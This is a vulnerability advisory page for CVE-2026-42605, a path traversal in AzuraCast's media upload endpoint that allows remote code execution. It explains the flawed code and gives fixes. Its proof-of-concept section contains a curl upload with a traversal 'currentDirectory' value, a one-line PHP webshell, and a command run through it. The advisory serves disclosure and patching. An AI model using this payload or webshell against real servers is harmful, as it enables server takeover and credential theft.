Loading...
Skip to main content

CVE-2026-42605 — AzuraCast has Path Traversal in...

HIGH

AzuraCast has Path Traversal in `currentDirectory` Parameter that Enables Remote Code Execution via Media Upload

Published May 4, 2026Updated May 13, 2026Source: osv

Summary

## Summary The `currentDirectory` request parameter in the Flow.js media upload endpoint (`POST /api/station/{station_id}/files/upload`) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root. ## Details In `backend/src/Controller/Api/Stations/Files/FlowUploadAction.php`, the `currentDirectory` parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83: ```php // FlowUploadAction.php:79-84 $currentDir = Types::string($request->getParam('currentDirectory')); $destPath = $flowResponse->getClientFullPath(); if (!empty($currentDir)) { $destPath = $currentDir . '/' . $destPath; } ``` While `$flowResponse->getClientFullPath()` is sanitized via `UploadedFile::filterClientPath()` (which strips `..` segments), the `$currentDir` value is prepended **after** this sanitization, reintroducing traversal capability. This `$destPath` is passed to `MediaProcessor::processAndUpload()` at line 95-98. The critical issue is in the `finally` block at `backend/src/Media/MediaProcessor.php:114-117`: ```php // MediaProcessor.php:75-117 try { if (MimeType::isFileProcessable($localPath)) { // ... process media ... return $record; } // ... throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.'); } catch (CannotProcessMediaException $e) { $this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage()); throw $e; } finally { $fs->uploadAndDeleteOriginal($localPath, $path); // ALWAYS executes } ``` The `finally` block writes the file to the traversed path **regardless** of whether the file passes MIME type validation. A `.php` file triggers `CannotProcessMediaException`, but the `finally` block still copies it to the destination before the exception propagates. For local storage (the default), `LocalFilesystem::upload()` at `backend/src/Flysystem/LocalFilesystem.php:45-57` resolves the path via `getLocalPath()`: ```php // LocalFilesystem.php:45-57 public function upload(string $localPath, string $to): void { $destPath = $this->getLocalPath($to); // PathPrefixer::prefixPath() — simple concatenation $this->ensureDirectoryExists(dirname($destPath), ...); copy($localPath, $destPath); // OS resolves ../ } ``` `getLocalPath()` delegates to `PathPrefixer::prefixPath()` (League Flysystem), which performs simple string concatenation without normalization. This **bypasses** the `WhitespacePathNormalizer` that would catch traversal if the path went through the standard `Filesystem::write()`/`writeStream()` methods. The OS-level `copy()` then resolves `../` sequences, writing outside the media root. Note: `RemoteFilesystem::upload()` uses `$this->writeStream()` which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable. The route at `backend/config/routes/api_station.php:399-405` requires `StationPermissions::Media` — a permission granted to DJs and station managers, not only admins. ## PoC Assuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions: **Step 1: Upload a PHP webshell via path traversal** ```bash curl -X POST "http://localhost/api/station/1/files/upload" \ -H "Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>" \ -F "flowTotalChunks=1" \ -F "flowChunkNumber=1" \ -F "flowCurrentChunkSize=44" \ -F "flowTotalSize=44" \ -F "flowIdentifier=abc123" \ -F "flowFilename=shell.php" \ -F "currentDirectory=../../../../../var/azuracast/www/public" \ -F "file_data=@shell.php" ``` Where `shell.php` contains: ```php <?php system($_GET['cmd']); ?> ``` Expected response: An error JSON (because `.php` is not a processable media type), but the file has already been written by the `finally` block. **Step 2: Execute commands via the webshell** ```bash curl "http://localhost/shell.php?cmd=id" ``` Expected output: ``` uid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast) ``` ## Impact - **Remote Code Execution**: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user. - **Full Server Compromise**: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration. - **Privilege Escalation**: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access. - **Data Exfiltration**: All station data, user credentials, and application secrets become accessible. ## Recommended Fix Sanitize `currentDirectory` in `FlowUploadAction.php` using the same `filterClientPath()` method used for filenames: ```php // FlowUploadAction.php — replace line 79: $currentDir = Types::string($request->getParam('currentDirectory')); // With: $currentDir = UploadedFile::filterClientPath( Types::string($request->getParam('currentDirectory')) ); ``` Additionally, harden `LocalFilesystem::upload()` to normalize paths before use: ```php // LocalFilesystem.php — add path normalization in upload(): public function upload(string $localPath, string $to): void { $normalizer = new WhitespacePathNormalizer(); $to = $normalizer->normalizePath($to); // Throws PathTraversalDetected on ../ $destPath = $this->getLocalPath($to); $this->ensureDirectoryExists( dirname($destPath), $this->visibilityConverter->defaultForDirectories() ); if (!@copy($localPath, $destPath)) { throw UnableToCopyFile::fromLocationTo($localPath, $destPath); } } ``` Also sanitize `flowIdentifier` in `Flow.php:67` to prevent secondary traversal in chunk directory creation.

Advisory Timeline

  • First published May 4, 2026 (161 days ago).
  • Last revised May 13, 2026 — 9 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update azuracast/azuracast to 0.23.6 or later
composer require "azuracast/azuracast:^0.23.6"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: packagist (1).

PackageEcosystemAffectedFixed In
azuracast/azuracast
packagist
0.10.0, 0.10.1, 0.10.2, 0.10.3 (+76 more)0.23.6

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-42605?
AzuraCast has Path Traversal in `currentDirectory` Parameter that Enables Remote Code Execution via Media Upload This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-42605?
CVE-2026-42605 affects azuracast/azuracast. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-42605 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-vp2f-cqqp-478j

Related CVEs

  • CVE-2023-2531
    CRITICAL

    AzuraCast missing brute force prevention

  • CVE-2026-100857
    HIGH

    AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs

  • CVE-2026-100856
    HIGH

    AzuraCast Vulnerable to Liquidsoap Code Injection via Incomplete cleanUpString-to-toRawString Migration in Remote Relay Password Field

  • CVE-2026-65954
    HIGH

    PHPCSUtils: Remote code execution via eval() in AbstractArrayDeclarationSniff::getActualArrayKey()

  • CVE-2026-61825
    HIGH

    code16/sharp has a stored XSS via data-html-content Sanitizer Bypass

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies